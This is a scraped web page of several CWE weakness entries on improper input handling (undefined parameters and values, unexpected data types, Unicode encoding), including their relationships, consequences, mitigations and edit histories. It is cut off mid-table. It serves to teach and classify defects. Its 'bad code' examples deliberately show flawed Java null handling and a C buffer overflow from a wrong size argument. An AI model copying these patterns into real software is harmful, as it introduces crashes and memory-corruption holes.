ChildOfPillarPillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.703Improper Check or Handling of Exceptional Conditions
ChildOfPillarPillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.707Improper Neutralization
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.166Improper Handling of Missing Special Element
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.167Improper Handling of Additional Special Element
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.168Improper Handling of Inconsistent Special Elements
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.229Improper Handling of Values
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.233Improper Handling of Parameters
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.237Improper Handling of Structural Elements
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.241Improper Handling of Unexpected Data Type
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Integrity
Availability

Technical Impact: Unexpected State; DoS: Crash, Exit, or Restart; DoS: Resource Consumption (CPU)

If an input is syntactically invalid, then processing the input could place the system in an unexpected state that could lead to a crash, consume available system resources or other unintended behaviors.
+ Demonstrative Examples

Example 1

This Android application has registered to handle a URL when sent an intent:

(bad code)
Example Language: Java 

...
IntentFilter filter = new IntentFilter("com.example.URLHandler.openURL");
MyReceiver receiver = new MyReceiver();
registerReceiver(receiver, filter);
...

public class UrlHandlerReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
if("com.example.URLHandler.openURL".equals(intent.getAction())) {
String URL = intent.getStringExtra("URLToOpen");
int length = URL.length();

...
}
}
}

The application assumes the URL will always be included in the intent. When the URL is not present, the call to getStringExtra() will return null, thus causing a null pointer exception when length() is called.

+ Observed Examples
ReferenceDescription
Anti-virus product has assert error when line length is non-numeric.
+ Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.728OWASP Top Ten 2004 Category A7 - Improper Error Handling
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.993SFP Secondary Cluster: Incorrect Input Handling
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1407Comprehensive Categorization: Improper Neutralization
+ Vulnerability Mapping Notes

Usage: ALLOWED-WITH-REVIEW

(this CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review)

Reason: Abstraction

Rationale:

This CWE entry is a Class and might have Base-level children that would be more appropriate

Comments:

Examine children of this entry to see if there is a better fit
+ Notes

Theoretical

The validity of input could be roughly classified along "syntactic", "semantic", and "lexical" dimensions. If the specification requires that an input value should be delimited with the "[" and "]" square brackets, then any input that does not follow this specification would be syntactically invalid. If the input between the brackets is expected to be a number, but the letters "aaa" are provided, then the input is syntactically invalid. If the input is a number and enclosed in brackets, but the number is outside of the allowable range, then it is semantically invalid. The inter-relationships between these properties - and their associated weaknesses- need further exploration.

Maintenance

This entry needs more investigation. Public vulnerability research generally focuses on the manipulations that generate invalid structure, instead of the weaknesses that are exploited by those manipulations. For example, a common attack involves making a request that omits a required field, which can trigger a crash in some cases. The crash could be due to a named chain such as CWE-690 (Unchecked Return Value to NULL Pointer Dereference), but public reports rarely cover this aspect of a vulnerability.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERStructure and Validity Problems
OWASP Top Ten 2004A7CWE More SpecificImproper Error Handling
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Description, Maintenance_Notes, Name, Relationships, Relevant_Properties, Taxonomy_Mappings
2009-03-10CWE Content TeamMITRE
updated Description, Name
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-06-27CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Common_Consequences, Relationships
2014-02-18CWE Content TeamMITRE
updated Demonstrative_Examples
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-01-19CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Relevant_Properties
2020-02-24CWE Content TeamMITRE
updated Relationships
2021-03-15CWE Content TeamMITRE
updated Demonstrative_Examples, Maintenance_Notes, Theoretical_Notes
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, Relationships, Time_of_Introduction
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2024-02-29
(CWE 4.14, 2024-02-29)
CWE Content TeamMITRE
updated Observed_Examples, Relationships
+ Previous Entry Names
Change DatePrevious Entry Name
2008-09-09Structure and Validity Problems
2009-03-10Failure to Handle Syntactically Invalid Structure

CWE-236: Improper Handling of Undefined Parameters

Weakness ID: 236
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product does not handle or incorrectly handles when a particular parameter, field, or argument name is not defined or supported by the product.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.233Improper Handling of Parameters
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Integrity

Technical Impact: Unexpected State

+ Observed Examples
ReferenceDescription
Crash in IRC client via PART message from a channel the user is not in.
Router crash or bad route modification using BGP updates with invalid transitive attribute.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.993SFP Secondary Cluster: Incorrect Input Handling
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1407Comprehensive Categorization: Improper Neutralization
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERUndefined Parameter Error
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Observed_Example, Taxonomy_Mappings
2009-03-10CWE Content TeamMITRE
updated Description, Name
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-06-27CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2013-07-17CWE Content TeamMITRE
updated Type
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms
2020-02-24CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Relationships, Time_of_Introduction
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Undefined Parameter Error
2009-03-10Failure to Handle Undefined Parameter

CWE-232: Improper Handling of Undefined Values

Weakness ID: 232
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product does not handle or incorrectly handles when a value is not defined or supported for the associated parameter, field, or argument name.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.229Improper Handling of Values
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Integrity

Technical Impact: Unexpected State

+ Demonstrative Examples

Example 1

In this example, an address parameter is read and trimmed of whitespace.

(bad code)
Example Language: Java 
String address = request.getParameter("address");
address = address.trim();
String updateString = "UPDATE shippingInfo SET address='?' WHERE email='cwe@example.com'";
emailAddress = con.prepareStatement(updateString);
emailAddress.setString(1, address);

If the value of the address parameter is null (undefined), the servlet will throw a NullPointerException when the trim() is attempted.

+ Observed Examples
ReferenceDescription
Client crash when server returns unknown driver type.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.851The CERT Oracle Secure Coding Standard for Java (2011) Chapter 8 - Exceptional Behavior (ERR)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.993SFP Secondary Cluster: Incorrect Input Handling
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1407Comprehensive Categorization: Improper Neutralization
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERUndefined Value Error
The CERT Oracle Secure Coding Standard for Java (2011)ERR08-JDo not catch NullPointerException or any of its ancestors
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Sean EidemillerCigital
added/updated demonstrative examples
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2009-03-10CWE Content TeamMITRE
updated Description, Name
2011-06-01CWE Content TeamMITRE
updated Common_Consequences, Relationships, Taxonomy_Mappings
2011-06-27CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2013-07-17CWE Content TeamMITRE
updated Type
2014-07-30CWE Content TeamMITRE
updated Demonstrative_Examples, Relationships
2017-05-03CWE Content TeamMITRE
updated Demonstrative_Examples
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms
2019-01-03CWE Content TeamMITRE
updated Taxonomy_Mappings
2020-02-24CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Relationships, Time_of_Introduction
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Undefined Value Error
2009-03-10Failure to Handle Undefined Value

CWE-241: Improper Handling of Unexpected Data Type

Weakness ID: 241
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product does not handle or incorrectly handles when a particular element is not the expected type, e.g. it expects a digit (0-9) but is provided with a letter (A-Z).
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.228Improper Handling of Syntactically Invalid Structure
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.19Data Processing Errors
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Integrity
Other

Technical Impact: Varies by Context; Unexpected State

+ Observed Examples
ReferenceDescription
FTP server crash via PORT command with non-numeric character.
Anti-virus product has assert error when line length is non-numeric.
+ Potential Mitigations

Phase: Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Implementation

Strategy: Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.743CERT C Secure Coding Standard (2008) Chapter 10 - Input Output (FIO)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.877CERT C++ Secure Coding Section 09 - Input Output (FIO)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.993SFP Secondary Cluster: Incorrect Input Handling
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1163SEI CERT C Coding Standard - Guidelines 09. Input Output (FIO)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1407Comprehensive Categorization: Improper Neutralization
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Research Gap

Probably under-studied.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERWrong Data Type
CERT C Secure CodingFIO37-CCWE More AbstractDo not assume that fgets() or fgetws() returns a nonempty string when successful
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2008-11-24CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2009-03-10CWE Content TeamMITRE
updated Description, Name
2009-07-27CWE Content TeamMITRE
updated Potential_Mitigations
2009-10-29CWE Content TeamMITRE
updated Description
2011-03-29CWE Content TeamMITRE
updated Potential_Mitigations
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-06-27CWE Content TeamMITRE
updated Common_Consequences
2011-09-13CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Taxonomy_Mappings
2019-01-03CWE Content TeamMITRE
updated Relationships
2020-02-24CWE Content TeamMITRE
updated Potential_Mitigations, Relationships
2020-06-25CWE Content TeamMITRE
updated Potential_Mitigations
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Relationships, Time_of_Introduction
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Wrong Data Type
2009-03-10Failure to Handle Wrong Data Type

CWE-176: Improper Handling of Unicode Encoding

Weakness ID: 176
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product does not properly handle when an input contains Unicode encoding.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.172Encoding Error
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Integrity

Technical Impact: Unexpected State

+ Demonstrative Examples

Example 1

Windows provides the MultiByteToWideChar(), WideCharToMultiByte(), UnicodeToBytes(), and BytesToUnicode() functions to convert between arbitrary multibyte (usually ANSI) character strings and Unicode (wide character) strings. The size arguments to these functions are specified in different units, (one in bytes, the other in characters) making their use prone to error.

In a multibyte character string, each character occupies a varying number of bytes, and therefore the size of such strings is most easily specified as a total number of bytes. In Unicode, however, characters are always a fixed size, and string lengths are typically given by the number of characters they contain. Mistakenly specifying the wrong units in a size argument can lead to a buffer overflow.

The following function takes a username specified as a multibyte string and a pointer to a structure for user information and populates the structure with information about the specified user. Since Windows authentication uses Unicode for usernames, the username argument is first converted from a multibyte string to a Unicode string.

(bad code)
Example Language:
void getUserInfo(char *username, struct _USER_INFO_2 info){
WCHAR unicodeUser[UNLEN+1];
MultiByteToWideChar(CP_ACP, 0, username, -1, unicodeUser, sizeof(unicodeUser));
NetUserGetInfo(NULL, unicodeUser, 2, (LPBYTE *)&info);
}

This function incorrectly passes the size of unicodeUser in bytes instead of characters. The call to MultiByteToWideChar() can therefore write up to (UNLEN+1)*sizeof(WCHAR) wide characters, or (UNLEN+1)*sizeof(WCHAR)*sizeof(WCHAR) bytes, to the unicodeUser array, which has only (UNLEN+1)*sizeof(WCHAR) bytes allocated.

If the username string contains more than UNLEN characters, the call to MultiByteToWideChar() will overflow the buffer unicodeUser.

+ Observed Examples
ReferenceDescription
Server allows remote attackers to read documents outside of the web root, and possibly execute arbitrary commands, via malformed URLs that contain Unicode encoded characters.
Server allows a remote attacker to obtain source code of ASP files via a URL encoded with Unicode.
Overlaps interaction error.
+ Potential Mitigations

Phase: Architecture and Design

Strategy: Input Validation

Avoid making decisions based on names of resources (e.g. files) if those resources can have alternate names.

Phase: Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Implementation

Strategy: Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.747CERT C Secure Coding Standard (2008) Chapter 14 - Miscellaneous (MSC)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.883CERT C++ Secure Coding Section 49 - Miscellaneous (MSC)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.992SFP Secondary Cluster: Faulty Input Transformation
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1407Comprehensive Categorization: Improper Neutralization
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
